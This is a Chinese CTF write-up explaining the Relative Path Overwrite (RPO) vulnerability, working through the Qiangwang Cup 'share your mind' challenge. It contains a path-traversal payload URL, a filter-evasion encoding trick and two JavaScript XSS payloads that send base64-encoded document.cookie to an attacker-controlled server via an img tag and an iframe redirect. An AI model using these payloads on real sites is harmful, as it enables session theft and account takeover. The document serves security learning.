RPO漏洞

本文涉及的产品
云解析 DNS,旗舰版 1个月
全局流量管理 GTM,标准版 1个月
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
简介: 参考文献:http://120.77.209.122/index.php/archives/24/https://www.jianshu.com/p/340bd5353248RPO漏洞就是服务端和客户端对这个URL的解析不一致导致的,当页面中调用的静态文件是以相对路径调用的时候,我们可以利用浏览器错误的解析页面的路径从而去错误的引导静态文件(CSS)文件加载在apche上..%2f不能解析,只有在nginx上才能实现。

参考文献:
http://120.77.209.122/index.php/archives/24/
https://www.jianshu.com/p/340bd5353248

RPO漏洞就是服务端和客户端对这个URL的解析不一致导致的,当页面中调用的静态文件是以相对路径调用的时候,我们可以利用浏览器错误的解析页面的路径从而去错误的引导静态文件(CSS)文件加载

在apche上..%2f不能解析,只有在nginx上才能实现。条件这么苛刻,都不知道用处多大。。

http://www.cnblogs.com/p00mj/p/6755000.html:这个大佬的入门还是挺好的,可以看看这个,apache上也可以复现,代码就不贴了。有传参存在的时候,在这里浏览器误以为我们参数的键/country/是一个实际的路径,从而导致实际加载的css文件路径就成了
http://localhost/hello/url.php/country/style.css,在这里服务端收到的请求会认为请求/country/style.css是一个键为country值为style.css的参数,从而返回页面。

发现RPO后利用修改了网页的路径,使页面css加载路径成为了可以加载任意的google域名下的任意样式表,然后在样式表中找到一个可以使用参数导入背景的网页,向里面插入攻击参数,传入了一个简单的css样式。使用被攻击页面url进行引用,页面的css样式改变攻击代码在能成功执行。

实在是不想搭个nginx的环境了,将强网杯 share your mind 复现下好了

在源码中,其中一个调用js的时候没有/,存在rpo漏洞。

img_dfe19f857dbc065fa5c00df22a5ecc5f.png
1.png
img_34c00b172d7e669a50600d12d874e1ff.png
1.png
img_5b16add8cab43aa23328d90dcd404d67.png
2.png

payload:
http://39.107.33.96:20000/index.php/view/article/2664/..%2f..%2f..%2f..%2findex.php
(%2f是/的url编码,服务器能解析,但是浏览器不能解析)
其中,写文章的地方是我们可控的,写入我们想测试的xss语句,标题不要写,内容为alert(1),然后引用payload发现弹框了。

查看当前js的引用路径http://39.107.33.96:20000/index.php/view/article/2664/static/js/jquery.min.js
我们正常访问这个路径时发现内容和我们访问http://39.107.33.96:20000/index.php/view/article/2664的内容是一样的
这就说明,网页按照这个路径把2664的内容当做了js文件进行了请求,并且还当做js代码执行了,而后面的js的路径被当做了参数忽略了。

构建攻击payload

b=document.cookie;a='<img src=http://ip/'+btoa(b)+'>';  document.write(a);
ip为自己的服务器ip,在服务器上查看日志文件

因为攻击代码的引用时会过滤了单引号和双引号,所以要对payload进行实体化编码,用String.fromCharCode()函数引用
print map(ord ,"payload") //将payload放入进行实体化编码,python真的强
eval(String.fromCharCode()) //将实体化编码的payload放入
然后将http://39.107.33.96:20000/index.php/view/article/2578/..%2f..%2f..%2f..%2findex.php提交到Reports

img_9719081624366608bee7449acea38318.png
1.png

将GET后的内容base64解码,得到HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"
提交的时候还需爆破substr((md5($code),0,6) ,贴下代码

# !/usr/bin/env python
import hashlib
def md5(s):
    return hashlib.md5(s).hexdigest()
for i in range(1, 99999999):
    if md5(str(i)).startswith('cd5664'):
        print i
        break

将里面的内容写成题目上给的就行

然后继续

var i = document.createElement("iframe");i.setAttribute("src", "/QWB_fl4g/QWB/");
document.body.appendChild(i);i.addEventListener( "load", function(){ var content = i.contentWindow.document.cookie; location='//yourvps/'+btoa(content);}, false);

跟上面一样,就不贴了。。

目录
相关文章
|
2天前
|
存储 安全 Linux
服务器数据恢复—如何预防服务器故障?服务器发生故障如何恢复数据?
服务器常见故障: 硬件故障:磁盘损坏、电池故障等。 软件问题:操作系统崩溃、未知的程序运行错误等。 病毒破坏:勒索病毒加密、删除服务器数据等。 不可控力量;服务器浸水、火烧、机房倒塌等导致服务器损坏和数据丢失。 误操作:工作人员操作失误导致数据丢失,如格式化、删除、覆盖等。
27 16
服务器数据恢复—如何预防服务器故障?服务器发生故障如何恢复数据?
|
6月前
|
存储 数据库 数据安全/隐私保护
服务器数据备份是保障数据安全、防止数据丢失和灾难恢复的重要措施
服务器数据备份是保障数据安全、防止数据丢失和灾难恢复的重要措施
150 1
|
监控 安全 数据安全/隐私保护
服务器数据恢复—如何预防服务器故障?发生故障后如何恢复服务器数据?
服务器常见故障: 硬件故障:磁盘、板卡、电源故障等。 软件故障:操作系统崩溃、程序运行错误等。 入侵破坏:加密、删除服务数据等。 不可控力:浸水、火烧、倒塌等。 误操作:格式化、删除、覆盖等。
|
存储 安全 算法
揭秘勒索病毒.DevicData-D-XXXXXXXX:数据恢复策略及预防措施
勒索病毒.DevicData-D-XXXXXXXX是一种具有破坏性的勒索软件,通过加密用户的数据文件来勒索赎金。91数据恢复将在本文深入探讨勒索病毒.DevicData-D-XXXXXXXX的工作原理,并提供详细的数据恢复策略,同时介绍预防措施以保护您的数据免受此类威胁。
|
存储 安全 网络安全
从预防到恢复,企业如何应对勒索病毒攻击?
        勒索病毒是一种严重的计算机威胁,它往往会利用高强度的加密算法技术来锁定用户的数据文件。由于勒索病毒的广泛传播和高度复杂性,越来越多的企业面临着数据安全威胁。91数据恢复研究院本次将重点介绍一种名为kat6.l6st6r的勒索病毒,以及如何从中恢复加密的数据文件。
|
安全 网络协议 数据安全/隐私保护
遭遇勒索软件攻击之后需要采取的5个恢复步骤
遭遇勒索软件攻击之后需要采取的5个恢复步骤
529 0